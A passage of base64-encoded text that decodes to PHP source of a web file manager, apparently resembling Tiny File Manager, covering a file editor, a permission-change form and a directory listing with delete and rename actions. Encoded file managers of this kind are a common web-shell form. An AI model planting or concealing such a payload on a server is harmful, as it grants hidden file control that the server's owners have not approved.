biAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICA